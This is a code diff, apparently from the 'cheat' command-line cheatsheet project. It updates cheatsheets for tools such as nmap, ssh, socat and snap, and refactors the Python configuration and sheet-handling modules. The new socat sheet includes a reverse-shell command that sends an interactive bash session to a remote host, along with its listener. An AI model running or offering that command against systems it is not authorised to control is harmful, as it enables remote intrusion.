+  Paragraph-wise                                  M-{ , M-}
+  Function-wise                                   C-M-a , C-M-e
+  Line beginning / end                            C-a , C-e
 
 # Other stuff
 
-  Open a shell         ALT-x eshell
-  Goto a line number   ALT-x goto-line
-  Word wrap            ALT-x toggle-word-wrap
-  Spell checking       ALT-x flyspell-mode
-  Line numbers         ALT-x linum-mode
-  Toggle line wrap     ALT-x visual-line-mode
-  Compile some code    ALT-x compile
-  List packages        ALT-x package-list-packages
+  Open a shell         M-x eshell
+  Goto a line number   M-x goto-line
+  Word wrap            M-x toggle-word-wrap
+  Spell checking       M-x flyspell-mode
+  Line numbers         M-x linum-mode
+  Toggle line wrap     M-x visual-line-mode
+  Compile some code    M-x compile
+  List packages        M-x package-list-packages
 
 # Line numbers
 
-  To add line numbers and enable moving to a line with CTRL-l:
+  To add line numbers and enable moving to a line with C-l:
 
     (global-set-key "\C-l" 'goto-line)
     (add-hook 'find-file-hook (lambda () (linum-mode 1)))

cheat/cheatsheets/gcc

@@ -10,7 +10,7 @@ gcc -g
 # Debug with all symbols.
 gcc -ggdb3
 
-# Build for 64 bytes
+# Build for 64 bits
 gcc -m64
 
 # Include the directory {/usr/include/myPersonnal/lib/} to the list of path for #include <....>

cheat/cheatsheets/nmap

@@ -67,3 +67,38 @@ nmap -T5 --min-parallelism=50 -n --script "ssl-heartbleed" -pT:443 127.0.0.1
 
 # Show all informations (debug mode)
 nmap -d ...
+
+## Port Status Information
+- Open: This indicates that an application is listening for connections on this port.
+- Closed: This indicates that the probes were received but there is no application listening on this port.
+- Filtered: This indicates that the probes were not received and the state could not be established. It also indicates that the probes are being dropped by some kind of filtering.
+- Unfiltered: This indicates that the probes were received but a state could not be established.
+- Open/Filtered: This indicates that the port was filtered or open but Nmap couldn’t establish the state.
+- Closed/Filtered: This indicates that the port was filtered or closed but Nmap couldn’t establish the state.
+
+## Additional Scan Types
+
+nmap -sn: Probe only (host discovery, not port scan)
+nmap -sS: SYN Scan
+nmap -sT: TCP Connect Scan
+nmap -sU: UDP Scan
+nmap -sV: Version Scan
+nmap -O: Used for OS Detection/fingerprinting
+nmap --scanflags: Sets custom list of TCP using `URG ACK PSH RST SYN FIN` in any order
+
+### Nmap Scripting Engine Categories
+The most common Nmap scripting engine categories:
+- auth: Utilize credentials or bypass authentication on target hosts.
+- broadcast: Discover hosts not included on command line by broadcasting on local network.
+- brute: Attempt to guess passwords on target systems, for a variety of protocols, including http, SNMP, IAX, MySQL, VNC, etc.
+- default: Scripts run automatically when -sC or -A are used.
+- discovery: Try to learn more information about target hosts through public sources of information, SNMP, directory services, and more.
+- dos: May cause denial of service conditions in target hosts.
+- exploit: Attempt to exploit target systems.
+- external: Interact with third-party systems not included in target list.
+- fuzzer: Send unexpected input in network protocol fields.
+- intrusive: May crash target, consume excessive resources, or otherwise impact target machines in a malicious fashion.
+- malware: Look for signs of malware infection on the target hosts.
+- safe: Designed not to impact target in a negative fashion.
+- version: Measure the version of software or protocols on the target hosts.
+- vul: Measure whether target systems have a known vulnerability.

cheat/cheatsheets/psql

@@ -16,8 +16,9 @@ psql -U postgres -d dbName -c 'select * from tableName;' -o fileName
 # Execute query and get tabular html output:
 psql -U postgres -d dbName -H -c 'select * from tableName;'
 
-# Execute query and save resulting rows to csv file:
-psql -U postgres -d dbName -t -A -P fieldsep=',' -c 'select * from tableName;' -o fileName.csv
+# Execute query and save resulting rows to csv file
+# (if column names in the first row are not needed, remove the word 'header'):
+psql -U postgres -d dbName -c 'copy (select * from tableName) to stdout with csv header;' -o fileName.csv
 
 # Read commands from file:
 psql -f fileName

cheat/cheatsheets/rename

@@ -1,2 +1,5 @@
 # Lowercase all files and folders in current directory
 rename 'y/A-Z/a-z/' *
+
+# Replace 'sometext' with 'replacedby' in all files in current directory
+rename 's/sometext/replacedby/' *

cheat/cheatsheets/scd

@@ -0,0 +1,20 @@
+# To index recursively some paths for the very first run:
+scd -ar ~/Documents/
+
+# To change to a directory path matching "doc":
+scd doc
+
+# To change to a path matching all of "a", "b" and "c":
+scd a b c
+
+# To change to a directory path that ends with "ts":
+scd "ts$"
+
+# To show selection menu and ranking of 20 most likely directories:
+scd -v
+
+# To alias current directory as "xray":
+scd --alias=xray
+
+# To jump to a previously defined aliased directory:
+scd xray

cheat/cheatsheets/scp

@@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
 
 # To copy a file from a remote server to your local machine:
 scp user@example.com:remote/dir/foo.txt local/dir
+
+# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
+scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

cheat/cheatsheets/snap

@@ -0,0 +1,98 @@
+# To find the `foo` snap:
+snap find foo
+
+# To view detailed information about snap `foo`:
+snap info foo
+
+# To view all private snaps (must be logged in):
+snap find --private
+
+# To install the `foo` snap:
+sudo snap install foo
+
+# To install the `foo` snap from the "beta" channel:
+sudo snap install foo --channel=beta
+
+# To view installed snaps:
+snap list
+
+# To list all revisions of installed snaps:
+snap list --all
+
+# To (manually) update all snaps:
+sudo snap refresh
+
+# To (manually) update the `foo` snap:
+sudo snap refresh foo
+
+# To update the `foo` snap to the "beta" channel:
+sudo snap refresh foo --channel=beta
+
+# To revert the `foo` snap to a prior version:
+sudo snap revert foo
+
+# To revert the `foo` snap to revision 5:
+snap revert foo --revision 5
+
+# To remove the `foo` snap:
+sudo snap remove foo
+
+# To log in to snap (must first create account online):
+sudo snap login
+
+# To log out of snap:
+snap logout
+
+# To view a transaction log summary:
+snap changes
+
+# To view details of item 123 in the transaction log:
+snap change 123
+
+# To watch transaction 123:
+snap watch 123
+
+# To abort transaction 123:
+snap abort 123
+
+# To download the `foo` snap (and its assertions) *without* installing it:
+snap download foo
+
+# To install the locally-downloaded `foo` snap with assertions:
+snap ack foo.assert
+snap install foo.snap
+
+# To install the locally-downloaded `foo` snap without assertions:
+# NB: this is dangerous, because the integrity of the snap will not be
+# verified. You should only do this to test a snap that you are currently
+# developing.
+snap install --dangerous foo.snap
+
+# To install snap `foo` in "dev mode":
+# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
+snap install --devmode foo
+
+# To install snap `foo` in "classic mode":
+# NB: this is likewise dangerous
+snap install --classic foo
+
+# To view available snap interfaces:
+snap interfaces
+
+# To connect the `foo:camera` plug to the ubuntu core slot:
+snap connect foo:camera :camera
+
+# To disconnect the `foo:camera` plug from the ubuntu core slot:
+snap disconnect foo:camera
+
+# To disable the `foo` snap
+snap disable foo
+
+# To enable the `foo` snap
+snap enable foo
+
+# To set snap `foo`'s `bar` property to 10:
+snap set foo bar=10
+
+# To read snap `foo`'s current `bar` property:
+snap get foo bar

cheat/cheatsheets/socat

@@ -0,0 +1,37 @@
+# socat connect to http-server (port 80 on 'butzel.info')
+socat TCP4:butzel.info:80 -
+
+# connect to https-server (port 443 on 'butzel.info' with tls)
+socat openssl:butzel.info:443 -
+
+# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
+socat -x tcp-listen:3180,fork -
+
+# practical examples:
+
+# complete real working http-example:  
+#  (sleep is necessary to prevent socat closing socket before data received)
+(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ 
+| socat tcp4:butzel.info:80 -
+
+# http to httpS 'Proxy' (for an webserver without TLS-Support)
+socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
+
+# port forwarding (e.g. own port 3180 to port 22(ssh) on target
+socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
+
+# TOR-forwarding (needs tor-daemon on port 9050 running)
+socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
+
+# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
+socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
+
+# udp to tcp
+socat -u udp-recvfrom:1234,fork tcp:localhost:4321
+
+# reverse shell:
+socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
+
+# listener for above reverse shell (on remote.butzel.info):
+socat file:`tty`,raw,echo=0 tcp-listen:3180
+# or: nc -lp 3180

cheat/cheatsheets/sqlite3

@@ -10,6 +10,9 @@ sqlite3 example.db "INSERT INTO 'Os' VALUES(1,'Linux',1991);"
 # list tables
 sqlite3 example.db ".tables"
 
+# describe table
+sqlite3 example.db ".schema 'Os'"
+
 # view records in table
 sqlite3 example.db "SELECT * FROM 'Os';"
 

cheat/cheatsheets/ssh

@@ -21,7 +21,10 @@ ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N
 ssh -X -t user@example.com 'chromium-browser'
 
 # To create a SOCKS proxy on localhost and port 9999
-ssh -D 9999 user@example.com
+ssh -qND 9999 user@example.com
+
+# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
+ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
 
 # -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
 ssh user@example.com -C -c blowfish -X

cheat/cheatsheets/ssh-keygen

@@ -12,3 +12,9 @@ ssh-keygen -p -P old_passphrase -N '' -f /path/to/keyfile
 
 # To generate a 4096 bit RSA key with a passphase and comment containing the user and hostname
 ssh-keygen -t rsa -b 4096 -C "$USER@$HOSTNAME" -P passphrase
+
+# To print the fingerprint of a public key
+ssh-keygen -lf /path/to/keyfile
+
+# To print the Github-style (MD5) fingerprint of a public key
+ssh-keygen -E md5 -lf /path/to/keyfile

cheat/cheatsheets/tmux

@@ -51,3 +51,6 @@ Ctrl-b %
 
 # Split windows vertically:
 Ctrl-b "
+
+# Swap windows
+Ctrl-b :swap-window -s [0-9] -t [0-9]

cheat/cheatsheets/vagrant

@@ -30,4 +30,4 @@ vagrant suspend
 vagrant destroy
 
 # Restart vm with new provision script
-vagran reload --provision
+vagrant reload --provision

cheat/cheatsheets/vim

@@ -63,3 +63,18 @@ d{motion}       delete text that {motion} moves over
 2dw         deletes 2 words
 5yy         copies 5 lines
 42G         go to line 42
+
+# Multiple windows
+:e filename      - edit another file
+:split filename  - split window and load another file
+ctrl-w up arrow  - move cursor up a window
+ctrl-w ctrl-w    - move cursor to another window (cycle)
+ctrl-w_          - maximize current window
+ctrl-w=          - make all equal size
+10 ctrl-w+       - increase window size by 10 lines
+:vsplit file     - vertical split
+:sview file      - same as split, but readonly
+:hide            - close current window
+:only            - keep only this window open
+:ls              - show current buffers
+:b 2             - open buffer #2 in this window

cheat/cheatsheets/youtube-dl

@@ -19,5 +19,5 @@ youtube-dl -s example.com/watch?v=id
 # To download audio in mp3 format with best quality available
 youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id
 
-# For all video formats see
-# http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs
+# For all video formats see link below (unfold "Comparison of YouTube media encoding options")
+# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats

cheat/cheatsheets/z

@@ -0,0 +1,14 @@
+# To `cd` to most frecent dir matching `foo`
+z foo
+
+# To `cd` to most frecent dir matching `foo`, then `bar`
+z foo bar
+
+# To `cd` to highest ranked dir matching `foo`
+z -r foo
+
+# To `cd` to most recently accessed dir matching `foo`
+z -t foo
+
+# To list all dirs matching `foo` - By frecency
+z -l foo

cheat/cheatsheets/zip

@@ -1,6 +1,9 @@
 # Create zip file
 zip archive.zip file1 directory/
 
+# Create zip file from directory
+zip -r archive.zip directory/
+
 # Create zip file with password
 zip -P password archive.zip file1
 

cheat/colorize.py

@@ -0,0 +1,65 @@
+from __future__ import print_function
+import sys
+
+
+class Colorize:
+
+    def __init__(self, config):
+        self._config = config
+
+    def search(self, needle, haystack):
+        """ Colorizes search results matched within a line """
+
+        # if a highlight color is not configured, exit early
+        if not self._config.cheat_highlight:
+            return haystack
+
+        # otherwise, attempt to import the termcolor library
+        try:
+            from termcolor import colored
+
+        # if the import fails, return uncolored text
+        except ImportError:
+            return haystack
+
+        # if the import succeeds, colorize the needle in haystack
+        return haystack.replace(needle,
+                                colored(needle, self._config.cheat_highlight))
+
+    def syntax(self, sheet_content):
+        """ Applies syntax highlighting """
+
+        # only colorize if cheat_colors is true, and stdout is a tty
+        if self._config.cheat_colors is False or not sys.stdout.isatty():
+            return sheet_content
+
+        # don't attempt to colorize an empty cheatsheet
+        if not sheet_content.strip():
+            return ""
+
+        # otherwise, attempt to import the pygments library
+        try:
+            from pygments import highlight
+            from pygments.lexers import get_lexer_by_name
+            from pygments.formatters import TerminalFormatter
+
+        # if the import fails, return uncolored text
+        except ImportError:
+            return sheet_content
+
+        # otherwise, attempt to colorize
+        first_line = sheet_content.splitlines()[0]
+        lexer = get_lexer_by_name('bash')
+
+        # apply syntax-highlighting if the first line is a code-fence
+        if first_line.startswith('```'):
+            sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
+            try:
+                lexer = get_lexer_by_name(first_line[3:])
+            except Exception:
+                pass
+
+        return highlight(
+               sheet_content,
+               lexer,
+               TerminalFormatter(bg=self._config.cheat_colorscheme))

cheat/configuration.py

@@ -0,0 +1,119 @@
+from cheat.utils import Utils
+import cheat.appdirs as appdirs
+import json
+import os
+
+
+class Configuration:
+
+    def __init__(self):
+        # compute the location of the config files
+        config_file_path_global = self._select([
+            os.environ.get('CHEAT_GLOBAL_CONF_PATH'),
+            appdirs.site_config_dir('cheat', 'cheat'),
+        ])
+        config_file_path_local = self._select([
+            os.environ.get('CHEAT_LOCAL_CONF_PATH'),
+            appdirs.user_config_dir('cheat', 'cheat'),
+        ])
+
+        # attempt to read the global config file
+        config = {}
+        try:
+            config.update(self._read_config_file(config_file_path_global))
+        except Exception as e:
+            Utils.warn('Error while parsing global configuration: '
+                       + e.message)
+
+        # attempt to read the local config file
+        try:
+            config.update(self._read_config_file(config_file_path_local))
+        except Exception as e:
+            Utils.warn('Error while parsing local configuration: ' + e.message)
+
+        # With config files read, now begin to apply envvar overrides and
+        # default values
+
+        # self.cheat_colors
+        self.cheat_colors = self._select([
+            Utils.boolify(os.environ.get('CHEAT_COLORS')),
+            Utils.boolify(os.environ.get('CHEATCOLORS')),
+            Utils.boolify(config.get('CHEAT_COLORS')),
+            True,
+        ])
+
+        # self.cheat_colorscheme
+        self.cheat_colorscheme = self._select([
+            os.environ.get('CHEAT_COLORSCHEME'),
+            config.get('CHEAT_COLORSCHEME'),
+            'light',
+        ]).strip().lower()
+
+        # self.cheat_user_dir
+        self.cheat_user_dir = self._select(
+            map(os.path.expanduser,
+                filter(None,
+                    [os.environ.get('CHEAT_USER_DIR'),
+                     os.environ.get('CHEAT_DEFAULT_DIR'),
+                     os.environ.get('DEFAULT_CHEAT_DIR'),
+                     os.path.join('~', '.cheat')])))
+
+        # self.cheat_editor
+        self.cheat_editor = self._select([
+            os.environ.get('CHEAT_EDITOR'),
+            os.environ.get('EDITOR'),
+            os.environ.get('VISUAL'),
+            config.get('CHEAT_EDITOR'),
+            'vi',
+        ])
+
+        # self.cheat_highlight
+        self.cheat_highlight = self._select([
+            os.environ.get('CHEAT_HIGHLIGHT'),
+            config.get('CHEAT_HIGHLIGHT'),
+            False,
+        ])
+        if isinstance(self.cheat_highlight, str):
+            Utils.boolify(self.cheat_highlight)
+
+        # self.cheat_path
+        self.cheat_path = self._select([
+            os.environ.get('CHEAT_PATH'),
+            os.environ.get('CHEATPATH'),
+            config.get('CHEAT_PATH'),
+            appdirs.user_data_dir('cheat', 'cheat'),
+        ])
+
+    def _read_config_file(self, path):
+        """ Reads configuration file and returns list of set variables """
+        config = {}
+        if os.path.isfile(path):
+            with open(path) as config_file:
+                config.update(json.load(config_file))
+        return config
+
+    def _select(self, values):
+        for v in values:
+            if v is not None:
+                return v
+
+    def validate(self):
+        """ Validates configuration parameters """
+
+        # assert that cheat_highlight contains a valid value
+        highlights = [
+            'grey', 'red', 'green', 'yellow',
+            'blue', 'magenta', 'cyan', 'white',
+            False
+        ]
+        if self.cheat_highlight not in highlights:
+            Utils.die("%s %s" %
+                      ('CHEAT_HIGHLIGHT must be one of:', highlights))
+
+        # assert that the color scheme is valid
+        colorschemes = ['light', 'dark']
+        if self.cheat_colorscheme not in colorschemes:
+            Utils.die("%s %s" %
+                      ('CHEAT_COLORSCHEME must be one of:', colorschemes))
+
+        return True

cheat/editor.py

@@ -0,0 +1,29 @@
+from __future__ import print_function
+from cheat.utils import Utils
+import subprocess
+
+
+class Editor:
+
+    def __init__(self, config):
+        self._config = config
+
+    def editor(self):
+        """ Determines the user's preferred editor """
+
+        # assert that the editor is set
+        if not self._config.cheat_editor:
+            Utils.die(
+                'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
+                'variable or setting in order to create/edit a cheatsheet.'
+            )
+
+        return self._config.cheat_editor
+
+    def open(self, filepath):
+        """ Open `filepath` using the EDITOR specified by the env variables """
+        editor_cmd = self.editor().split()
+        try:
+            subprocess.call(editor_cmd + [filepath])
+        except OSError:
+            Utils.die('Could not launch ' + self.editor())

cheat/sheet.py

@@ -1,76 +1,64 @@
+from cheat.editor import Editor
+from cheat.utils import Utils
+import io
 import os
 import shutil
 
-from cheat import sheets
-from cheat.utils import die, open_with_editor
 
-def copy(current_sheet_path, new_sheet_path):
-    """ Copies a sheet to a new path """
+class Sheet:
 
-    # attempt to copy the sheet to DEFAULT_CHEAT_DIR
-    try:
-        shutil.copy(current_sheet_path, new_sheet_path)
+    def __init__(self, config, sheets):
+        self._config = config
+        self._editor = Editor(config)
+        self._sheets = sheets
 
-    # fail gracefully if the cheatsheet cannot be copied. This can happen if
-    # DEFAULT_CHEAT_DIR does not exist
-    except IOError:
-        die('Could not copy cheatsheet for editing.')
+    def _exists(self, sheet):
+        """ Predicate that returns true if the sheet exists """
+        return (sheet in self._sheets.get() and
+                os.access(self._path(sheet), os.R_OK))
 
+    def _exists_in_default_path(self, sheet):
+        """ Predicate that returns true if the sheet exists in default_path"""
+        default_path = os.path.join(self._config.cheat_user_dir, sheet)
+        return (sheet in self._sheets.get() and
+                os.access(default_path, os.R_OK))
 
-def create_or_edit(sheet):
+    def _path(self, sheet):
+        """ Returns a sheet's filesystem path """
+        return self._sheets.get()[sheet]
+
+    def edit(self, sheet):
         """ Creates or edits a cheatsheet """
 
         # if the cheatsheet does not exist
-    if not exists(sheet):
-        create(sheet)
+        if not self._exists(sheet):
+            new_path = os.path.join(self._config.cheat_user_dir, sheet)
+            self._editor.open(new_path)
 
         # if the cheatsheet exists but not in the default_path, copy it to the
         # default path before editing
-    elif exists(sheet) and not exists_in_default_path(sheet):
-        copy(path(sheet), os.path.join(sheets.default_path(), sheet))
-        edit(sheet)
+        elif self._exists(sheet) and not self._exists_in_default_path(sheet):
+            try:
+                shutil.copy(
+                            self._path(sheet),
+                            os.path.join(self._config.cheat_user_dir, sheet)
+                           )
+
+            # fail gracefully if the cheatsheet cannot be copied. This can
+            # happen if CHEAT_USER_DIR does not exist
+            except IOError:
+                Utils.die('Could not copy cheatsheet for editing.')
+
+            self._editor.open(self._path(sheet))
 
         # if it exists and is in the default path, then just open it
         else:
-        edit(sheet)
+            self._editor.open(self._path(sheet))
 
-
-def create(sheet):
-    """ Creates a cheatsheet """
-    new_sheet_path = os.path.join(sheets.default_path(), sheet)
-    open_with_editor(new_sheet_path)
-
-
-def edit(sheet):
-    """ Opens a cheatsheet for editing """
-    open_with_editor(path(sheet))
-
-
-def exists(sheet):
-    """ Predicate that returns true if the sheet exists """
-    return sheet in sheets.get() and os.access(path(sheet), os.R_OK)
-
-
-def exists_in_default_path(sheet):
-    """ Predicate that returns true if the sheet exists in default_path"""
-    default_path_sheet = os.path.join(sheets.default_path(), sheet)
-    return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK)
-
-
-def is_writable(sheet):
-    """ Predicate that returns true if the sheet is writeable """
-    return sheet in sheets.get() and os.access(path(sheet), os.W_OK)
-
-
-def path(sheet):
-    """ Returns a sheet's filesystem path """
-    return sheets.get()[sheet]
-
-
-def read(sheet):
+    def read(self, sheet):
         """ Returns the contents of the cheatsheet as a String """
-    if not exists(sheet):
-        die('No cheatsheet found for ' + sheet)
+        if not self._exists(sheet):
+            Utils.die('No cheatsheet found for ' + sheet)
 
-    with open(path(sheet)) as cheatfile:
+        with io.open(self._path(sheet), encoding='utf-8') as cheatfile:
             return cheatfile.read()

cheat/sheets.py

@@ -1,42 +1,34 @@
+from cheat.colorize import Colorize
+from cheat.utils import Utils
+import io
 import os
 
-from cheat import cheatsheets
-from cheat.utils import die
 
-def default_path():
-    """ Returns the default cheatsheet path """
+class Sheets:
 
-    # determine the default cheatsheet dir
-    default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat')
-    default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir))
+    def __init__(self, config):
+        self._config = config
+        self._colorize = Colorize(config)
 
-    # create the DEFAULT_CHEAT_DIR if it does not exist
-    if not os.path.isdir(default_sheets_dir):
-        try:
-            # @kludge: unclear on why this is necessary
-            os.umask(0000)
-            os.mkdir(default_sheets_dir)
+        # Assembles a dictionary of cheatsheets as name => file-path
+        self._sheets = {}
+        sheet_paths = [
+            config.cheat_user_dir
+        ]
 
-        except OSError:
-            die('Could not create DEFAULT_CHEAT_DIR')
+        # merge the CHEAT_PATH paths into the sheet_paths
+        if config.cheat_path:
+            for path in config.cheat_path.split(os.pathsep):
+                if os.path.isdir(path):
+                    sheet_paths.append(path)
 
-    # assert that the DEFAULT_CHEAT_DIR is readable and writable
-    if not os.access(default_sheets_dir, os.R_OK):
-        die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.')
-    if not os.access(default_sheets_dir, os.W_OK):
-        die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.')
-
-    # return the default dir
-    return default_sheets_dir
-
-
-def get():
-    """ Assembles a dictionary of cheatsheets as name => file-path """
-    cheats = {}
+        if not sheet_paths:
+            Utils.die('The CHEAT_USER_DIR dir does not exist '
+                      + 'or the CHEAT_PATH is not set.')
 
         # otherwise, scan the filesystem
-    for cheat_dir in reversed(paths()):
-        cheats.update(
+        for cheat_dir in reversed(sheet_paths):
+            self._sheets.update(
                 dict([
                     (cheat, os.path.join(cheat_dir, cheat))
                     for cheat in os.listdir(cheat_dir)
@@ -45,47 +37,39 @@ def get():
                 ])
             )
 
-    return cheats
-
-
-def paths():
+    def directories(self):
         """ Assembles a list of directories containing cheatsheets """
         sheet_paths = [
-        default_path(),
-        cheatsheets.sheets_dir()[0],
+            self._config.cheat_user_dir,
         ]
 
         # merge the CHEATPATH paths into the sheet_paths
-    if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']:
-        for path in os.environ['CHEATPATH'].split(os.pathsep):
-            if os.path.isdir(path):
+        for path in self._config.cheat_path.split(os.pathsep):
             sheet_paths.append(path)
 
-    if not sheet_paths:
-        die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.')
-
         return sheet_paths
 
+    def get(self):
+        """ Returns a dictionary of cheatsheets as name => file-path """
+        return self._sheets
 
-def list():
+    def list(self):
         """ Lists the available cheatsheets """
         sheet_list = ''
-    pad_length = max([len(x) for x in get().keys()]) + 4
-    for sheet in sorted(get().items()):
+        pad_length = max([len(x) for x in self.get().keys()]) + 4
+        for sheet in sorted(self.get().items()):
             sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
         return sheet_list
 
-
-def search(term):
+    def search(self, term):
         """ Searches all cheatsheets for the specified term """
         result = ''
-    lowered_term = term.lower()
 
-    for cheatsheet in sorted(get().items()):
+        for cheatsheet in sorted(self.get().items()):
             match = ''
-        for line in open(cheatsheet[1]):
-            if lowered_term in line:
-                match += '  ' + line
+            for line in io.open(cheatsheet[1], encoding='utf-8'):
+                if term in line:
+                    match += '  ' + self._colorize.search(term, line)
 
             if match != '':
                 result += cheatsheet[0] + ":\n" + match + "\n"

cheat/utils.py

@@ -1,71 +1,26 @@
 from __future__ import print_function
-import os
 import sys
-import subprocess
 
 
-def colorize(sheet_content):
-    """ Colorizes cheatsheet content if so configured """
-
-    # only colorize if so configured
-    if not 'CHEATCOLORS' in os.environ:
-        return sheet_content
-
-    try:
-        from pygments import highlight
-        from pygments.lexers import get_lexer_by_name
-        from pygments.formatters import TerminalFormatter
-
-    # if pygments can't load, just return the uncolorized text
-    except ImportError:
-        return sheet_content
-
-    first_line = sheet_content.splitlines()[0]
-    lexer      = get_lexer_by_name('bash')
-    if first_line.startswith('```'):
-        sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
-        try:
-            lexer = get_lexer_by_name(first_line[3:])
-        except Exception:
-            pass
-
-    return highlight(sheet_content, lexer, TerminalFormatter())
-
+class Utils:
 
+    @staticmethod
     def die(message):
         """ Prints a message to stderr and then terminates """
-    warn(message)
+        Utils.warn(message)
         exit(1)
 
-
-def editor():
-    """ Determines the user's preferred editor """
-
-    # determine which editor to use
-    editor = os.environ.get('CHEAT_EDITOR') \
-        or os.environ.get('VISUAL')         \
-        or os.environ.get('EDITOR')         \
-        or False
-
-    # assert that the editor is set
-    if editor == False:
-        die(
-            'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
-            'variable in order to create/edit a cheatsheet.'
-        )
-
-    return editor
-
-
-def open_with_editor(filepath):
-    """ Open `filepath` using the EDITOR specified by the environment variables """
-    editor_cmd = editor().split()
-    try:
-        subprocess.call(editor_cmd + [filepath])
-    except OSError:
-        die('Could not launch ' + editor())
-
-
+    @staticmethod
     def warn(message):
         """ Prints a message to stderr """
         print((message), file=sys.stderr)
+
+    @staticmethod
+    def boolify(value):
+        """ Type-converts 'true' and 'false' to Booleans """
+        # if `value` is not a string, return it as-is
+        if not isinstance(value, str):
+            return value
+
+        # otherwise, convert "true" and "false" to Boolean counterparts
+        return value.strip().lower() == "true"

ci/lint.sh

@@ -0,0 +1,10 @@
+#!/bin/sh
+
+# Resolve the app root
+SCRIPT=`realpath $0`
+SCRIPTPATH=`dirname $SCRIPT`
+APPROOT=`realpath "$SCRIPTPATH/.."`
+
+flake8 $APPROOT/setup.py
+flake8 $APPROOT/bin/cheat
+flake8 $APPROOT/cheat/*.py --exclude=appdirs.py

config/cheat.example.conf

@@ -0,0 +1,6 @@
+{
+  "CHEAT_COLORS"      : true,
+  "CHEAT_COLORSCHEME" : "light",
+  "CHEAT_EDITOR"      : "vi",
+  "CHEAT_PATH"        : "/usr/share/cheat"
+}

setup.py

@@ -1,9 +1,21 @@
+from cheat.appdirs import user_data_dir
 from distutils.core import setup
 import os
 
+# determine the path in which to install the cheatsheets included with the
+# package
+cheat_path = os.environ.get('CHEAT_PATH') or \
+                user_data_dir('cheat', 'cheat')
+
+# aggregate the systme-wide cheatsheets
+cheat_files = []
+for f in os.listdir('cheat/cheatsheets/'):
+    cheat_files.append(os.path.join('cheat/cheatsheets/', f))
+
+# specify build params
 setup(
     name='cheat',
-    version      = '2.3.0',
+    version='2.5.1',
     author='Chris Lane',
     author_email='chris@chris-allen-lane.com',
     license='GPL3',
@@ -14,15 +26,15 @@ setup(
     url='https://github.com/chrisallenlane/cheat',
     packages=[
         'cheat',
-        'cheat.cheatsheets',
         'cheat.test',
     ],
-    package_data = {
-        'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
-    },
     scripts=['bin/cheat'],
     install_requires=[
         'docopt >= 0.6.1',
         'pygments >= 1.6.0',
-    ]
+        'termcolor >= 1.1.0',
+    ],
+    data_files=[
+        (cheat_path, cheat_files),
+    ],
 )

tests/test_configuration.py

@@ -0,0 +1,86 @@
+import unittest2
+import os
+import shutil
+from cheat.configuration import Configuration
+
+
+def _set_loc_conf(key, value):
+    _path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
+    if value == None:
+        os.remove(_path)
+    else:
+        if not os.path.exists(os.path.dirname(_path)):
+            os.makedirs(os.path.dirname(_path))
+        f = open(_path,"w+")
+        f.write('{"'+ key +'":"'+ value +'"}')
+        f.close()
+
+
+def _set_glob_conf(key, value):
+    _path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
+    if value == None:
+        os.remove(_path)
+    else:
+        if not os.path.exists(os.path.dirname(_path)):
+            os.mkdir(os.path.dirname(_path))
+        f = open(_path,"w+")
+        f.write('{"'+ key +'":"'+ value +'"}' )
+        f.close()
+
+
+def _set_env_var(key, value):
+    if value == None:
+        del os.environ[key]
+    else:
+        os.environ[key] = value
+
+
+def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
+    for glob_conf in values:
+            _set_glob_conf(key,glob_conf)
+            for loc_conf in values:
+                _set_loc_conf(key,loc_conf)
+                for env_conf in values:
+                    _set_env_var(key,env_conf)
+                    if env_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
+                    elif loc_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
+                    elif glob_conf:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
+                    else:
+                        TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
+
+
+class ConfigurationTestCase(unittest2.TestCase):
+
+
+    def setUp(self):
+        os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+        + '/etc/cheat'
+        os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+        + '/home/.config/cheat/cheat'
+
+
+    def test_get_editor(self):
+        _configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
+        Configuration.get_editor)
+
+
+    def test_get_cheatcolors(self):
